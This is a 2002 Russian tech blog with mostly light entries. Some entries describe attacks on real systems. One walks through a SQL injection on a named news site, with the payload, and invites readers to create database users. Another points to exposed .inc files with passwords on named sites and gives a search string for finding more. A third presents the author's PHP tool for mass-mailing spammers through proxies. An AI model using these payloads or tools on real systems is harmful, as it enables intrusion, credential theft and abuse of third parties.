Все люди как люди, а мы как мыслете.
Жди толку, положа зубы на полку!
 

Кстати, никто не знает, причем здесь "мыслите" (это буква алфавита)? Может она писалась каким-то особом образом или обозначала что-то сама по себе?

Какие только сайты люди не делают! На странице Pi-Search можно попытаться найти любую последовательность (адрес телефона своего парикмахера, день смерти худшего недруга) в первом миллионе знаков числа "Пи" после запятой. День моего рождения нашелся в последовательности на 1326631-м знаке.

То, о чем я не раз размышлял случилось!
Сейчас в любой сколь угодно маленькой электронной фиговинке есть хотя бы дохленький, но свой микропроцессор. Многие из фиговинок обладают устройствами ввода и экранчиком, некоторые - приличным объемом памяти.

Ничего не мешает изменить функциональность такого устройства, загрузив в него собственную программу, если бы не одна мелочь... Если ваше устройство не зовется "PDA" или хотя бы "программируемый калькулятор", занести данные в память так, чтобы они начали исполняться, как программа, можно только с помощью специалиста с программатором и необходимым количеством серого вещества в черепной коробке. Фирмы по разным причинам не дают заливать в свои изделия сторонние программы.

iPOD organizer Ситуация потихоньку меняется, я уже писал о DOOM'e в фотоаппарате, а вот недавно фирма Provue Development начала продавать Panorama iPod organizer - органайзер для ... MP3-плейера iPod.

Видимо, возможность загрузить свой софт в этом плеере, как и фотоаппарате, была изначально штатной функцией, а не достигается каким-нибудь полуанальным способом. Это не может не радовать, по крайней мере меня. О возможности вносить какую-то иную функциональность в окружающие меня предметы я мечтаю уже давно.

Если такие времена когда-нибудь наступят, то в комплекте с "голубыми зубами" всех нас ждет, без сомнения весьма, интересное будущее. Интересно, для какой фиговины напишет свою первую программу мой ребенок? "Папа-папа, теперь твоё табло на руке будет отображать время по юлианскому календарю, а наушник - поздравлять со всеми албанскими праздниками на киргизском!". Весело будет, ага.

Хороший протокол Telnet, помимо букв, которые он умеет передавать на экран, экран этот он умеет очищать, стирать символы и линии, выдавать что-то в координатах и делать еще много всяких интересных штук. Есть умельцы, которые при его помощи добиваются появления на экране довольно оригинальных вещей. Всем, кого есть доступ наружу по протоколу telnet - смотреть.

Хинт от Кирилла:


Тут придумали как это в оффлайн посмотреть. В виндовом телнете есть запись Log'a. Вот если его включить, то все кадры будут писаться в файл. Затем этот файл можно открыть в том же notepad'e, подрегулировать высоту окна и нажав PgDn смотреть звёздные войны в оффлайне :)
 

От себя хочу добавить, что в SecureCRT запись лога тоже есть, так что совет вполне подходит и для этой программы.

А ведь и правда, для чего этот несекурный протокол, во времена SSH, еще нужен, как не для просмотра мультфильмов? :)

Ссылку прислал Kirill Gribunin.

Спам, как и любая реклама, иногда может быть довольно забавным. Вот, недавно упало в мой почтовый ящик:

...
Reply-To: Команда "Банкротство Онлайн"<bankr@bi.ru>
From: Команда "Банкротство Онлайн"<bankr@bi.ru>
...

Поздравляем Вас со светлым Валентиновым днем!
Любви Вам, радости и добра!
И пусть эта любовь будет с Вами всегда!
И даже на работе!
...
Ждем Вас!
 

Интересно, они сами додумались пожелать моей компании обанкротиться или это вышло случайно? Спасибо им, я так смеялся, что даже не стал стримить шит. :)

Кстати, о SS. Пришло первое письмо от читателя с адресами для SS. Список обновлен, но, к сожалению, имя этого человека утеряно в пень. Неизвестный герой! Откликнись! Хочу разместить здесь твое гордое имя!

На странице, посвященной языку Modula-3 нашел:
Modula "bugs'n'patches" (3.8Kb)
Буквальный перевод "баги и патчи для исходников Modula-3". Скачай себе новых багов! Что ж, по крайней мере честно. :)

Создал у себя на одном из Линух-серверов файл "/dev/пень" - линк на "/dev/null", теперь всех, кто придет с глупыми просьбами буду посылать в пень. Можно еще создать линк с менее приличным словом и посылать всех в п... или ж... . Или комбинировать.

/dev/пень (3Kb)

Всем пока и удачного понедельника!
Комментировать
17 марта 2002 20:20

Shrek mp3, Intertat crack, варган, сервера и XSpider

Всем привет!
"Шрек", надеюсь, успели посмотреть и полюбить? Если нет, срочно купите кассету, сходите в кинотеатр или воспользуйтесь любым другим способом посмотреть фильм.

Shrek. Морда лица. (8.7Kb)

Речь, собственно, не о Шреке и не о фильме. После просмотра фильма у меня возникло сильное желание заиметь в свой плейлист некоторые из саундтреков "Шрека", особенно "I have loved" и "Hallelujah". Оказалось, проблем с этим никаких нет - было бы желание и доступ в интернет.

В общем, треки из этого симпатичного мультфильма, в приличном качестве, можно скачать с некого эстонского сайта, а слова, чтобы в приливе чувств подпевать - найти на PopLyrics.Net. Enjoy!

InterTAT (4.8Kb) В Казани, где я живу, как и во многих других городах, открытие каждого нового сайта, крупнее pet-home-page - событие.

Меня такие события интересуют чаще, как прекрасный повод занять мои шаловливые ручонки поиском дыры в новоиспеченном сайте, чем открытие сайта само по себе.

28 декабря у нас открылся сайт электронной газеты Татарстана "Intertat". Сайт абсолютно уродский, как с точки зрения дизайна, так и с точки зрения наполнения и выбранного названия.

Первые два пункта становятся очевидными, стоит только взглянуть на сайт, чем мне не понравилось название, я скажу. Написано оно по-английски и только по-английски, из чего я делаю вывод, что для того, чтобы прочитать его по-русски, его надо перевести. Так вот. Слово "inter" переводится, как "хоронить", а "tat" - "плести кружево". Как корабль назовешь, так он и поплывет. Сколько не плети кружево, а проект себя уже похоронил. :)

Впрочем я отвлекся. Дыру в этом проекте я нашел так быстро, что мне даже скучно стало. Попробуйте, например, перейти в раздел "политика", а потом поставьте апостроф после URL'a и нажмите "Enter". Что видите на экране?

Я увидел вот это:


DB Error: unknown error SELECT * FROM news_xml WHERE ((type=2 OR type=1 OR type=5 OR type=7) AND ( sid ~~ 'ra'%') ) order by date DESC limit 10 OFFSET 0 [nativecode=ERROR: Unterminated quoted string ]
 

Как видно, апостроф не был заэкранирован и попал в текст как он есть. Что это нам дает? Сейчас объясню.

В вебе используется не так много видов баз данных, в основном это MySQL, PostgreSQL и Oracle. Слово "OFFSET" и оператор "~~" из перечисленного характерны только для Postgres. В SQL-диалекте этого СУБД есть, в отличие от того же MySQL, приятная возможность писать несколько запросов в строку, разделяя их через точку с запятой.

Таким образом, достаточно вклиниться в этот запрос так, чтобы он оставался верным с точки зрения синтаксиса и вставить в середину все что душе угодно, например, DELETE, UPDATE или, может быть, INSERT.

Сделать это нетрудно - нужно закрыть апостроф, обе скобки, поставить точку с запятой, вписать свой запрос, снова поставить ";" и записать первую часть SELECT'а с двумя открытыми скобками и апострофом. Вот, например, кусок, который нужно подставить в URL, чтобы получить новость с ID'ом 277:


'));SELECT * FROM news_xml WHERE id=277 AND (('%'='
 

Легко видеть, что, после подстановки запроса в строку, Postgres на вход получит следующее:


SELECT * FROM news_xml WHERE ((type=2 OR type=1 OR type=5 OR type=7) AND ( sid ~~ 'ra')); SELECT * FROM news_xml WHERE id=277 AND (('%'='%') ) order by date DESC limit 10 OFFSET 0
 

Еще интересной является идея попробовать сделать "CREATE USER" и законнектиться к базе данных снаружи, если администратор, конечно, оставил возможность соединения с Postgres извне. Хочется проблем - можете попробовать сделать это самостоятельно. :)

Что не так на картинке? Смотреть, после загрузки, долго и внимательно, до полного прозрения.

Ссылку прислал Romantik

Есть на земле нормальные программисты, а есть маньяки, вроде меня. :) Я где-то уже вскользь упоминал о Веб-сервере, написанном на PostScript. Оказывается, автор не одинок в своём стремлении приложить руки туда, где этого никто не ждет.

Вот вам прекрасная возможность убедиться в работоспособности сервера на AWK, Shell, DD/Sh, ну и на PostScript, конечно. :)

Какие там языки, стандартно входящие в дистрибутивы Unix, еще остались не у дел? Языки Perl и уж, тем более, C++ не предлагать - вот и вот. Как же сложно выпендриться в наше время... :)

Люблю сканеры безопасности. За юмор и проницательность. На скриншоте - результат сканирования одной из наших офисных машин сканером XSpider.

XSpider (4.1Kb)

Как видно на машине используется сервер Pure-FTPD версии 1.0.4, причем это была самая последняя версия этого сервера на тот момент, а сканер "предсказывает" уязвимость в версии 2.0.4.281. Разработка наших программистов, не иначе ноу-хау какое-то, позволяющее узнавать об уязвимостях в продуктах задолго до их появления на свет.

Хочу внести ясность по поводу Shit Streamer. Вы можете как угодно просматривать использовать и исследовать его код. Но не надо меня заваливать письмами с просьбами рассказать, как это все работает, почему я сделал именно так и что значит

"if (($str = $this->{$this->meths[$i]}($fp, $server, $query)) === true)".

По PHP есть прекрасная дока, я распространяю код в открытом виде, дал кучу ссылок и сделал тестовый режим специально для тех, кто хочет увидеть, как именно происходит обмен данными. Еще и объяснять каждому, как это работает я не могу. Sorry.

Варган (2.1Кб) Есть трудности с тем, что бы подарить на День рождения любимому сисадмину? Каждый год дарить пиво или мухобойку (чтобы отгонять юзеров), по-моему, не оригинально. Я предлагаю походить по магазинам экзотических музыкальных инструментов и найти варган.

Помните "бдынь-бдынь-бдынь" в нанайских народных? Вот! Это именно варган и есть. Очень удачный инструмент для камлания над мертвым сервером. На следующий год можно, в комплект, подарить бубен обшитый сырой кожей оленя. Думаю, любой админ будет рад такому подарку.

"Спасибо" за идею мне писать в мыло или форум.

У меня все! До следующей недели!
Комментировать
5 марта 2002 10:00

Shit Streamer was altered. 0.50-alt (PHP)

Во-первых, поздравляю всех со стремительно приближающимся 23 февраля, праздником, который стал настолько значим, что его сделали выходным! Наверное, все равно посещаемость рабочих мест в этот день была низкой, так что было решено это дело узаконить. :)

Во-вторых, позвольте представить на суд общественности новую версию моего Shit Streamer'a первое появление которого в большом инете было 14 декабря прошлого года. Для тех, кто подзабыл что это такое, вкратце напомню - это очень эффективный, как показала практика, инструмент борьбы со спамерами, способ сделать им ответную подлость.

Я получил целую гору писем с просьбами переписать SS на PHP, так что новая (0.50-alt) версия написана именно на этом языке, версии 4.1.0. Запускать ее следует с сервера, из окна браузера, но знатоки PHP, при надобности, без труда, я думаю, смогут переписать эту версию так, чтобы она запускалась из командной строки.

В программе достаточно много изменений, так что интерфейс ее, я думаю, требует некоторых пояснений.

SS 0.50-alt (18.9Kb)


Во-первых, я прочитал гору всякой литературы и реализовал интерфейс к целой куче разнообразных прокси. Для тех, кто еще не скачал программу привожу полный список тут: HTTP-proxy, HTTP-tunneling proxy, SOCKS V5, SOCKS V4, SOCKS V4.3 (A), Telnet proxy, CGI proxy.

Перед началом работы укажите в первом поле адрес своего прокси-сервера, во втором - его порт, в третьем - его тип. Если ваш порт вашего прокси "8080", "80", "81" или "3128" попробуйте выбрать "HTTP proxy", если 1080 - выбирайте "SOCKS V5". В остальных случаях, если не знаете сами, попробуйте найти человека, который это знает и спросите у него.

Если вы подключены к интернету напрямую, то прокси можно не указывать.

Если ваш прокси требует авторизацию, введите имя пользователя и пароль в поля "username" и "password". Все настройки будут сохранены в cookies и вам не придется вводить их в следующий раз. Как и в предыдущих версиях, программе нужно указать количество рассылаемых писем и ящик, на который они будут уходить. Тут все просто - первое вводится в поле "Quantity", второе - в поле "E-mail". Остальные поля заполнять нужно только в особых случаях. Кнопка "Send shit", собственно, запускает сам процесс, после которого остается только наслаждаться эффектом.

Если вы все еще пользуетесь NC 4.xx или Opera, то, скорее всего, вывода программы вы не увидите, не пугайтесь, это нормально. :) У меня нет желания поддерживать браузеры, которые не поддерживают современные стандарты.

Всем, кому не интересны технические подробности дела, могут на этом прерваться и скачать уже новый Shit Streamer.

Для HTTP-based proxy реализована авторизация только с методом Basic, этого должно быть достаточно для большинства случаев. Для SOCKS5 реализован второй метод (username/password), GSSAPI, CHAP и прочие в моей сети не обитают, так что их я реализовывать не стал.

SOCKS4, как я понял из RFC, может использовать IDENTD-сервер (RFC 1413), но он в живом виде уже не встречается, так что связь с ним так же не реализована. "SOCKS 4.3(A)", думаю, требует некоторых пояснений. Это небольшое расширение протокола SOCKS4, которое позволяет в запросе указывать не IP-адрес хоста, а его имя, что бывает полезно, если в вашей сети нет DNS. Поддерживает это расширение, например, MS Proxy 2.0.

Telnet-proxy - это немногочисленное семейство прокси, которые позволяют туннелировать telnet-сессию. Они не предназначены для туннелирования HTTP, но довольно неплохо, на мой взгляд, справляются с этой задачей. Для прокси этого типа надо указать два параметра. Первый ("Wait for") - строка подсказки, которую нужно дождаться от прокси, прежде чем начать передачу, второй ("Command") - команда для подключения к удаленному серверу, где "%s" будет заменятся на имя сервера, а "%p" - на порт. Для TIS эти параметры равны, соответственно,
"tn-gw->" и "c %s %p".

CGI-прокси или анонимайзеры - сервера, которые предоставляют услуги анонимного сёрфинга. Их список есть где-то в интернете, поищите сами. В поле "Proxy" нужно указать URL этого прокси для построения цепочки, в поле порт - 80. Комбинация "%URL" в указанном адресе будет заменяться на полную строку запроса (без "http://").

Вот пара примеров, чтобы вы уловили идею:
http://webwarper.net/ww/%URL&*
http://www.safeproxy.org/cgi-bin/nph-proxy.cgi/01010/http/%URL

В новом SS я реализовал то, что поленился сделать в предыдущей версии - Streamer теперь принимает от удаленного сервера только заголовок ответа, игнорируя сам документ. Думаю, это повысит скорость рассылки и намного уменьшит размер входящего трафика.

Тех, кому интересно, как происходит обмен с серверами и прокси, заинтересует галочка "Test mode". В этом режиме SS выводит на экран желтым цветом свои запросы и ответы удаленных серверов. Если интересует именно это, задайте небольшое количество писем и запустите SS в "Test mode".

Для своей работы Streamer требует два файла "ss.agents" и "ss.servers". Первый содержит строки "User-agent", которые будут использоваться в запросах, второй - собственно, сервера, куда будет происходить соединение, в прежнем формате. Разделителями в обоих файлах является Unix-like перевод строки ("\n"). Так что, если редактируете этот файл в FAR'e не забудьте нажать Shift-F2 перед сохранением.

Еще раз напоминаю, скачать файл можно вот отсюда.

Комментировать
21 февраля 2002 20:20

Нерды, Hammer CPU, Minnie, освещение сайтов

Странные огоньки редко предвещают радостные события
(c) "Как выжить в фильмах ужасов".
Привет!
Хочу сказать спасибо тем, кто прислал мне ссылки на сайт с песней "Прекрасное далеко". Писем оказалось неожиданно много, я даже не ожидал. :)

Как оказалось песня эта из фильма 1984 года "Гостья из будущего" по книге К. Булычева. Сам фильм я еще с трудом припомнил, а вот песню - нет. Большинство ссылок было как раз на сайты посвященные этому фильму. Отдельное спасибо Alexandre Loutchkov из Дании, он прислал мне песню сразу в трех вариантах - в оригинале, в исполнении панк-группы, плюс вариант от Большого Детского хора.

Последний вариант наиболее близок к Грымовскому, вариант от панк-группы я тоже послушал с большим удовольствием. Оба файла можно скачать с моей папки на Chat.RU. Файлам "dll" нужно заменить расширение на "rar" и распаковать архиватором RAR версии 2.90 или выше.

Знаете, что такое нердность? Нет?

Нердность - это состояние души, окутанной разноцветными проводками и осуществляющей связь с внешним миром в двоичном коде. Человек для нерда - лишь жалкое подобие современных технических устройств, с которыми общаться гораздо проще и приятнее. Нерд знает все с точностью до 10 значащих цифр, остальные у него записаны. Техника слушается его беспрекословно... [..]

Насколько это верно по отношению к вам, можно узнать при помощи соответствующего теста. В тесте 403 вопроса, но все они короткие, так что много времени это у вас не отнимет.

Мой результат, 61.04%, оказался неожиданно высоким - средний процент составляет 47.22 и это при том, видимо, что основными посетителями сайта с тестом, являются люди, как минимум знакомые с тем, что такое компьютер и интернет.

Вслед уходящему дню Валентина отличный флешевый мультик. Беременным женщинам и маленьким детям не рекомендую, остальным - смотреть!

За ссылку большое спасибо Max Frog

В последнее время я как-то перестал следить за событиями в мире хардвара и частности, например отличия Coppermine от Thunderbird, мне глубоко фиолетовы. Сейчас меня интересуют лишь общие события на этом фронте, например, появление PCI-X или идея AMR.

В этой связи статья про новый процессор от AMD меня очень заинтересовала. Даже, если все эти идеи реализовать не получится, а скорее всего так и будет, то сама идея чего-то подобного интересна сама по себе.

Наконец-то хоть кто-то из производителей процессоров отходит от гонки частота-кеш-конвеер и обещает появление чего-то, если не революционного, то, по крайней мере, нового. :)

Основная идея - архитектура современного IBM-C уже несколько устарела и не справляется с возложенными на нее задачами, как следствие - частые простои одного или нескольких компонентов системы из-за того, что шина не справляется с потоком данных, который через нее пересылается. AMD, помимо всех улучшений самого процессора, предлагает вмонтировать в процессор три шины HyperTransport для того, чтобы улучшить связь процессора с различными частями компьютера.

Особенно интересной в этом случае получается разводка многопроцессорных систем и, что уже совсем интересно, появление многопроцессорных систем на базе PC с неодинаковыми по мощности процессорами.

Интересно еще и то, что AMD в этом случае выходит совершенно на новый рынок - рынок многопроцессорных систем и становится поставщиком решений для крупных производителей суперкомпьютеров, таких, как SGI, IBM, Cray, Hitachi и так далее.

Чтобы не забыть, положу прямо сюда: FTP "Ceyoniq" password type - это пароль пропущенный через ROT13. Может, кому-то еще кроме меня пригодится.

Взято с NoNaMe. Все-таки, как не странно, иногда Microsoft ругают незаслуженно.

"Майкрософт...его мать! (Опыт работы в США). Работаю программистом в одной небольшой американской фирме, человек 30, делающей всякие фигульки для пресс-автоматов.

Сдуру решил сегодня с утра поучаствовать в разговоре о школах, да возьми и ляпни старую примочку насчет "Сколько будет 2+2х2=?". Обычно на слух сначала прибавляют, потом умножают и получают 8, хотя по правилам математики умножение делать надо первым, так что правильный ответ 6. Меня тут же послали на фиг и обозвали идиотом, потому что будет 8... Я даже написал на бумажке, чтобы понятней было. И тут началось...

Оказывается по правилам надо все делать слева направо и никак не иначе, поэтому 8... а я дурак. Иди возьми школьный учебник и почитай как надо, а проще для особо тупых посчитай на калькуляторе!!! Особенно меня испугало, что главный бухгалтер сам и принес калькуль и продемонстрировал под бурные овации всей фирмы. (Да, простой калькулятор делает все поэтапно, как на слух, а не всю формулу целиком). Под рукой не оказалось научного калькулятора, где можно вводить всю формулу. Ладно, открыл Microsoft Exel, ввел формулу - 6(!) и получил ступор всей фирмы.

Работа прервалась на добрых 2 часа, переходили от компьютера к компьютеру, с калькулятором получали там 6, там 8. Я устал объяснять и ушел к себе в кубик. Оказалось, основной прикол ждал меня позже. К обеду заявляется ко мне замбух и качая головой, выдает: "Теперь я понимаю, почему все ругают Microsoft - у них даже в Exelе - баг, неправильно считает!"

Минни Драйвер (8.5Кб)

Посмотрел пару дней назад фильм "Вернись ко мне" ("Return to me"). Фильм мог быть и хуже, но речь не о нем. Актрису, которая сыграла в нем главную роль, зовут Минни Драйвер (Minnie Driver).

Жаль, что никто из производителей фильмов о кулхацкерах не догадался пригласить ее на роль в таком фильме, она бы роскошно смотрелась в титрах. :)

Для тех, кто в танке, поясняю. Мини-драйвер - это надстройка над основным драйвером, которая определенным образом расширяет или изменяет функциональность последнего. Например, мини-драйвер для видеокарты может перехватывать некоторые обращения к основному драйверу, чтобы выполнять операции более оптимальным образом, через реализованные функции аппаратного ускорения.

Благословение... (9.2Kb) Господам из русской православной церкви, безусловно, нужно на что-то жить. Они отказываются крестить без креста, купленного в их церкви, продают свечки, образа и литературу, берут плату за общение с Богом, по траффику или времени, за посещение храмов, которые им не принадлежат.

Бог с ними. Оно окропляли автомобили, давали отпущение грехов любимым собачкам и отпевали хомячков.

Теперь они добрались и до Интернета. Нам уже выбрали святого покровителя, теперь принялись благословлять сайты. Скриншот слева. Для тех, кто сомневается в его подлинности, есть образчик на сайте "Казанской епархии Московского Патриархата Русской православной церкви".

Кстати, зайдите на сам сайт, хотя бы для того, чтобы оценить стиль и лексикон. Я совсем не понимаю, зачем на современном сайт использовать "не только крещена, но и просвещена", "хулители", "лихолетье". Это же сайт епархии сделанный в этом году, а не трехтомник "Властелин колец", при переводе стилизованный под псевдо-древнюю-русь.

Ссылку на картинку прислал Булат Каримов

Всем пока! Пишите в мыло и на форум!
Комментировать
18 февраля 2002 18:30

Евро, наши арабские корни, разгон монитора, inc-файлы

Всем привет!

Все посмотрели фильм Грымова "Коллекционер"? Я - посмотрел, но речь не об этом. В фильме используется чудная песня "Прекрасное далеко", которую поют там голосом, который я называю "пионерским".

Песня вызвала у меня такой приступ ностальгии неизвестно к чему, что, уже отдав кассету, я попытался найти запись этой песни в интернете. Наиболее близкое к тому, что я услышал в "Коллекционере" - вот, но это совсем не то. :(

Люди! Может быть у кого-то дома есть грымовская кассета, звуковая плата и немного свободного времени? Не сочтите за труд, преступите закон? Не дайте мне засохнуть.

Евро-Quake (1.3Kb) По поводу евро. Пишется с маленькой буквы и считает себя мужского пола. Вот тут и тут.

Артемий Лебедев считает, что родителем знака евро следует считать некого Артура Ейшенменгера. Не знаю, не знаю, мне кажется, евро берет свои корни из Quake. Владельцам браузеров, умеющих показывать GIF, предлагается взглянуть чуть вправо. :) Это знак евро повернутый на 90°.

Фото в предыдущем выпуске, несмотря на мои подозрения, оказалось подлинным. Спасибо Владимиру Корнелюку из Германии и dex'у.

Я тут ради смеха прочитал документ.. впрочем, что это я. По этому документу я не имею права приводить здесь его название, ведь это копирование и модификация содержимого сайта к которому он относится. А это по данному документу делать категорически запрещается делать.

В общем взгляните на пункт 2.2 вот этой лицензии. Вдумайтесь и ужаснитесь.

Не когда не задумывались, что означает "бить баклуши", "наобум Лазаря", откуда пошло "собаку съел", "на козе не подъедешь"?

Здесь можно ознакомиться с любопытной теорией, которая явно имеет право на существование, правда кончилось все таких хеппиэндом, что у меня челюсть на пол упала.

Что смущает. Из статьи кажется, что у арабского столько корней, что вкупе с прочтением русских слов задом наперед и фокусами с труднопроизносимыми буквами, на арабском можно особо не напрягаясь подыскать значение любому слову любого языка.

Толкование высказываний из Библии явный перебор. Библия ведь не на русском была написала и для того, чтобы узнать, что именно имелось ввиду в той или иной фразе достаточно перевести фразу из оригинала на современный язык, а не обращаться к арабскому. Кроме того, для чего и по какой причине могли авторы перевода этой книги использовать в тексте транслитерации арабских слов?

Непонятно даже то, почему в русском может быть столько заимствований из арабского языка? Я не очень хорошо знаю историю и не помню были ли у русских настолько тесные, многовековые отношения с арабами, чтобы заимствования настолько прочно вошли в нашу речь и пережили столько веков.

Смущают так же попытки автора найти у каждого устойчивого выражения русского языка арабские корни. Зря он так. Слово "стушеваться", например, тоже имеет мало логики в применении к человеку, тем не менее арабы здесь не причем. Слово родилось в середине прошлого века и имеет вполне русские корни, о чем можно прочитать в одном из номеров журнала "Наука и жизнь".

Больше всего смущает конец статьи. Но там уже такой гон, что комментировать его у меня желания нету. Видимо, человек так поверил в свою теорию, что решил, что она может объяснить абсолютно все.

В общем по ссылке обязательно сходите, но доверяться статье полностью, imho, не стоит.

Где-то пробегала шутка по поводу разгона пятнадцатидюймового монитора до 17 дюймов. Каждая шутка, как известно, содержит долю правды. Пятнадцатидюймовые мониторы преспокойно "гонятся" до семнадцати дюймов. При помощи линзы. Все новое - хорошо забытое старое. :)) Моя бабушка еще помнит телевизор с крошечным экраном и огромной линзой на пузе.

Линза. Фото.1. (10.5Kb) Линза. Фото.2. (11.4Kb)


Если найдутся желающие посмотреть, как выглядит монитор с линзой или подробнее почитать (на английском) об этом чуде современной мысли, можно сходить вот сюда. Остальные могут ограничится скриншотами у меня на сайте.

Пару абзацев о безопасности.

В области веба программисты использующие PHP или ASP нередко любят создавать файлы включений с расширением "inc". А администраторы часто забывают защитить такие файлы от просмотра через веб. Нередко в таких файлах содержатся пароли или другая критичная информация, которую можно увидеть браузером, если знать путь до файла.

Первая же ошибка в файле включений (например, отсутствие соединения с СУБД, программисты редко обрабатывают эту ситуацию) с головой выдает место, где он расположен.

Если ко времени, когда вы читаете этот текст владельцы сайтов еще не прикрыли просмотр inc-файлов, то вот тут вы можете попробовать поискать уязвимости в коде сайта NetIdentity, а вот тут вот - узнать пароль на подключение к базе "santel", где хранятся данные об интернет-конвертах казанского провайдера "Радиотелком".

Список таких файлов довольно легко получить при помощи любого поисковика. Достаточно вписать, в строку поиска Google, например, что-то вроде "Connection Failed: Can't connect inc" и посмотреть, что Google выдает в краткой аннотации. На момент написания этого текста таких ссылок было 36700.

Рекомендуется к прочтению людям с чувством юмора и знанием английского. Oписание PPL (Paranoid Programming Language).

Ссылку прислал Макс Симонов

Всем пока! Пишите!.

Упаси нас Бог от пространственно-временной ситуации, располагающей ко злу...
© Сергей Довлатов "Зона".
Комментировать
6 февраля 2002 16:40

Win errs, ICQ 4 DOS, PHP arrays, Colorer, www

Ссылочка на страницу с "недокументированными" кодами ошибок Windows. Страница на английском, но язык выражений настолько прост, что человек, привычный к англоязычными интерфейсам программ, прочтет их без проблем.

Наиболее понравившие перлы:

WinErr 001: Windows loaded - System in danger
WinErr 002: No Error - Yet
WinErr 009: Horrible bug encountered - God knows what has happened
WinErr 019: User error - Not our fault. Is Not! Is Not!
WinErr 01B: Illegal error - You are not allowed to get this error. Next time you will get a penalty for that.

Ссылочку прислал Макс Симонов

Моя кошка в очередной раз завела Любовную Песнь Ко Всем Котам Мира. Песня любовная, но почему такая пошлая? Раз за разом, наполняя воздухом мощные легкие, моя кошка являет миру свою песнь. Витас отдыхает. Боже, дай мне силы вытерпеть это еще раз.

За предоставленную информацию спасибо кошке Брусничке

Как не странно, существуют еще люди, которые ходят в интернет из DOS. Видимо, где-то на Земле сохранились еще компьютеры, которые не работают ни под чем, кроме этой БГом забытой ОС.

Для таких людей существует Lynx под DOS, Arachne и ... порт ICQ под DOS. У меня эта программа запускаться отказалась - потребовала установить загадочный "packet driver", где его взять я не знаю, видимо, если у вас настроен TCP/IP под DOS, этот драйвер у вас уже имеется.

Насколько я понял, бегло прочитав руководство, интерфейс у этого клона текстовый, как, например, у его Unix-собрата vICQ. Последний, кстати, весьма любопытен тем, что написан он на языке Perl, т.е. при желании его можно как угодно модифицировать.

В общем, если вы мучаетесь от безделья, сидя за компьютером под DOS с выходом в интернет, самое время поставить себе Аську и найти себе друга по интересам.

Любопытная, для PHP-программистов, мысль пришла мне недавно в голову. Никогда не задумывались, почему некоторые люди инициализируют массивы явно, вызовом "array()", а другие - неявно, присваиванием?

Какие бы причины не двигали теми и другими, но теперь я понимаю, что правы первые и не правы вторые. Как известно в PHP, как и в многих других языках, для выборки элемента из массива и символа из строки применяется одна и та же конструкция - квадратные скобки.

В Perl, например, это делается по-другому - для массивов используются все те же скобки, а для строк пользуются функцией substr, которая ко всему прочему умеет становиться lvalue.

Казалось бы, где грабли? Грабли в инициализации. PHP, если вы ничего не меняли в файле настроек, умеет превращать параметры POST- и GET-запросов в переменные скрипта, которому этот запрос адресован. Таким образом, если я вызову некий скрипт с параметром, скажем, "?config=s" переменная $config получит значение "s" и тип "строка".

Если далее в программе встретится участок кода, который, по идее, должен был бы работать так, как будто переменная $config является массивом, на деле он будет работать с этой переменной, как со строкой, т.е. конструкция

$config[user_dir] = "/home/www/users";

заменит значение первого символа строки, хранящейся в $config на символ "/" и, при следующем чтении этого значения, вызов "$config[user_dir]" вернет слеш, что, потенциально, позволит какому-нибудь кулхацкеру, в зависимости от того, чем занимается этот скрипт, скачивать какие-либо файлы на сервере или изменять их.

Многим давно уже кажется, что то, чем PHP часто привлекает веб-программистов - содержимое главы "Variables from outside PHP" руководства по PHP, часто на практике приносит больше вреда, чем пользы.

В умах созревает идея заставить разработчков PHP по-умолчанию эту фичу отключать, а внешние значения выбирать через соответствующие массивы, тем более, что разработчики пошли нам всем навстречу и присвоили им в последних версиях языка альтернативные короткие имена, доступные, к тому, из функций без определения их как "global".

Мне равнофиолетово выключат эту фичу или нет, но я хотел бы призвать всех веб-программистов к аккуратному ее использованию, без этого, этот прекрасный в сущности язык, приобретет туже дурную славу, которую давно приобрели продукты Microsoft.

Хорошая новость для тех, кто имеет прямой выход в интернет или возможность читать ньюсы через прокси. Вот тут, пока неопределенное, время будет размещаться форум этого сайта за что большое спасибо Владиславу Игнатенко.

Владислав в скором времени обещает запустить веб-интерфейс, так что форум можно будет читать прямо из браузера. Для тех, кто не знает что такое ньюсы и как их читать, на сайте есть инструкция. Welcome!

Еще одна хорошая новость. На этот раз для поклонников FAR'a и Colorer'a. Хотя на страничке автора никаких анонсов не замечено, Colorer продолжается развиваться. Его страничка переехала на SourceForge и содержит уже два патча. Список изменений не анонсируется.

Ставятся оба патча один поверх другого, в соответствующие папки, после чего плагина надо будет удалить директорий "bin". Патчи являются бетами, но, работая с ними уже две недели, я никаких глюков не обнаружил.

Картинка, ссылку на которую прислали мне по аське. Кто-нибудь видел два евро? Оно (она? он?) действительно так выглядит?

Кто придумал, что сайты обязаны начинаться с "www"? В последнее время есть тенденция изменения в лучшую сторону, но некоторые упорно не хотят сдаваться. DNS местной фирмы "Мелт", при попытке выкусить у их сайта "www" грустно сообщает, что IP адрес такого сервера он не знает.

Я тут подсчитал, что если открыть в браузере журнал "Хакер" по его адресу без "www", браузер пошлет серверу на 360 байт меньше, чем, если бы ссылка эти буквы содержала. Сейчас, сидя на двух мегабитах, мне от такой цифры делается смешно, но дома, на модеме 33600, который вечно сползает до 28800, с постоянными ретрейнами и speed shift, я начинаю тихо плакать в уголке.

Побродив по сайту пару часов, я автоматически умножаю эту цифру на пару тысяч и обнаруживаю, что почти 6 драгоценных минут мой модем качал комбинацию из трех букв и точки. Подсчитать их стоимость с учетом повременки и оплаты интернета мне лень, но, думаю, пара рублей наберется.

Господа веб-мастера, заводя сайты, пожалуйста, вписывайте в DNS и веб-сервер, адреса и без этой злосчастной комбинации тоже, если вам не жалко тех, кто сидит на паршивом диал-апе, то подумайте хотя бы о тех, кто пытается продиктовать ваш адрес по телефону или прочитать по радио! "Дабл-ю, дабл-ю, дабл-ю" или "ве-ве-ве" понятности адресу не добавляют.

Все удачных выходных! Пишите в ящик и в ньюсы!
Комментировать
26 января 2002 21:20

Коперфильд, CDMA SIM, IDC 230400bps, «Гости…»

Всем привет! Всех с наступающим Старым Новым годом. :) Эх, нравится мне это сочетание.

Девид Коперфильд (6.3Кб) Несколько лет назад каждый уважающий себя канал считал своим долгом показать раз в неделю пару-тройку фокусов Девида Коперфильда. Помните такое имя?

Потом вся страна не спала ночами, пытаясь придумать объяснения, то исчезновению статуи Свободы в Америке, то его полетам. Первые уверовали в чудо, вторые с видом знатоков рассуждали о нитях, которые "прочны, как стальные тросы и прозрачны, как лески".

Прошли годы и несколько дней назад мне стало интересно, что думает по поводу фокусов Девида русскоговорящая часть интернета.

Из всех тех объяснений, что в великом множестве выдал мне Яndex наиболее достоверным мне показалось сообщение, найденное на одном из форумов IXBT.

написано 03-01-2002 13:11 Инфо Правка Ответить IP

--------------------------------------------------------------------------------
Вот, может кому интересно :

